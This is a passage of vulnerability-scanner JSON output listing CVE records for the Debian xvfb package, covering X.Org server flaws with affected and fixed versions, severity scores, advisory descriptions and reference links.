"https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34001", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://errata.almalinux.org/9/ALSA-2026-19344.html", "https://errata.rockylinux.org/RLSA-2026:19344", "https://linux.oracle.com/cve/CVE-2026-34001.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34001", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34001.json", "https://www.cve.org/CVERecord?id=CVE-2026-34001" ], "PublishedDate": "2026-04-23T16:16:24.777Z", "LastModifiedDate": "2026-11-04T23:17:30.01Z" }, { "VulnerabilityID": "CVE-2026-34003", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34003", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:734a2b540142f836b2c2eec7b93caf7b2ef4beed5cfaa0a59ab1d0401de8ce3f", "Title": "xorg: xwayland: X.Org X server: Information exposure and denial of service via out-of-bounds memory access", "Description": "A flaw was found in the X.Org X server's XKB key types request validation. A local attacker could send a specially crafted request to the X server, leading to an out-of-bounds memory access vulnerability. This could result in the disclosure of sensitive information or cause the server to crash, leading to a Denial of Service (DoS). In certain configurations, higher impact outcomes may be possible.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10739", "https://access.redhat.com/errata/RHSA-2026:11352", "https://access.redhat.com/errata/RHSA-2026:11369", "https://access.redhat.com/errata/RHSA-2026:11388", "https://access.redhat.com/errata/RHSA-2026:11656", "https://access.redhat.com/errata/RHSA-2026:11692", "https://access.redhat.com/errata/RHSA-2026:13414", "https://access.redhat.com/errata/RHSA-2026:19125", "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:19343", "https://access.redhat.com/errata/RHSA-2026:19344", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34003", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://errata.almalinux.org/9/ALSA-2026-19344.html", "https://errata.rockylinux.org/RLSA-2026:19344", "https://linux.oracle.com/cve/CVE-2026-34003.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34003", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34003.json", "https://www.cve.org/CVERecord?id=CVE-2026-34003" ], "PublishedDate": "2026-04-23T16:16:24.92Z", "LastModifiedDate": "2026-11-04T23:17:30.747Z" }, { "VulnerabilityID": "CVE-2026-50256", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50256", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:847d444751a29818c6709409e826e730aeaf2051da6455ee5424332ed68048b7", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: stack buffer overflow in font alias resolution due to libXfont2 name length mismatch", "Description": "A stack-based buffer overflow flaw was found in the X.Org X server and Xwayland. A mismatch between the X server and the libXfont2 library's maximum font name length can cause a stack buffer overflow during font alias resolution. The server allocates a 256 byte stack buffer but libXfont2's alias target name length is 1024 bytes. A font alias name between 257 and 1023 bytes causes the X server to copy that name into the undersized stack buffer without further checks. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50256", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/bb5158f962dc935e58ef8b4b5fcb31be201a6e07", "https://linux.oracle.com/cve/CVE-2026-50256.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50256", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50256.json", "https://www.cve.org/CVERecord?id=CVE-2026-50256" ], "PublishedDate": "2026-06-05T12:16:38.727Z", "LastModifiedDate": "2026-11-04T23:17:40.317Z" }, { "VulnerabilityID": "CVE-2026-50257", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50257", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0129dd88733a354bfa010f0350fea339e0573c92048f90bb2afe2842dfaadb76", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: use-after-free in miSyncDestroyFence()", "Description": "A use-after-free flaw was found in the X.Org X server and Xwayland in miSyncDestroyFence(). A client that sets up multiple fence triggers can trigger a use-after-free function pointer call. An attacker would connect to the X server to set up a fence and await that fence, then a second X connection destroys the fence, causing the use-after-free. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50257", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/f5abfb61994471023d8c6470428c8e30c411cc0b", "https://linux.oracle.com/cve/CVE-2026-50257.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50257", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50257.json", "https://www.cve.org/CVERecord?id=CVE-2026-50257" ], "PublishedDate": "2026-06-05T12:16:38.907Z", "LastModifiedDate": "2026-11-04T23:17:41.097Z" }, { "VulnerabilityID": "CVE-2026-50258", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50258", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d723c635f72e6d12c34d49b34d39f8aa09843daf081a19bcc2190d8ac83e1c56", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: stack buffer overflow in XKB key types due to unchecked shift levels", "Description": "A stack-based buffer overflow flaw was found in the X.Org X server and Xwayland. The X server has multiple stack buffers sized XkbMaxShiftLevel * XkbNumKbdGroups but CheckKeyTypes() does not verify or clamp non-canonical key types to XkbMaxShiftLevel. A client can change key types to excessive shift levels and trigger stack overflows. This is caused by an incomplete fix of CVE-2025-26597. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50258", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/543e108516428fc8c3bea91d6563ad266f9a801e", "https://linux.oracle.com/cve/CVE-2026-50258.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50258", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50258.json", "https://www.cve.org/CVERecord?id=CVE-2026-50258" ], "PublishedDate": "2026-06-05T12:16:39.07Z", "LastModifiedDate": "2026-11-04T23:17:41.837Z" }, { "VulnerabilityID": "CVE-2026-50259", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50259", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b847250d117944772c882df265f55865e2f45a085c8f148cadd034e9039ca3d0", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: stack buffer overflow in XKB SetMap request via mapWidths indexing", "Description": "A stack-based buffer overflow flaw was found in the X.Org X server and Xwayland. _XkbSetMapChecks() declares a fixed-size stack buffer mapWidths[256] indexed by key type index. The helper function CheckKeyTypes() writes to this buffer at a client-controlled offset, allowing a stack buffer overflow. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50259", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/867b59b33bee669cb412f1314e47c52eacf6e00b", "https://linux.oracle.com/cve/CVE-2026-50259.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50259", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50259.json", "https://www.cve.org/CVERecord?id=CVE-2026-50259" ], "PublishedDate": "2026-06-05T12:16:39.24Z", "LastModifiedDate": "2026-11-04T23:17:42.503Z" }, { "VulnerabilityID": "CVE-2026-50260", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50260", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:849a76405b8c385067acf18a201494023c7623a16aad4a5c23656546aca3c575", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: use-after-free in FreeCounter()", "Description": "A use-after-free flaw was found in the X.Org X server and Xwayland in FreeCounter(). A client that sets up multiple SyncCounters and awaits on those triggers can trigger a use-after-free when destroying those counters via a second client connection. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": 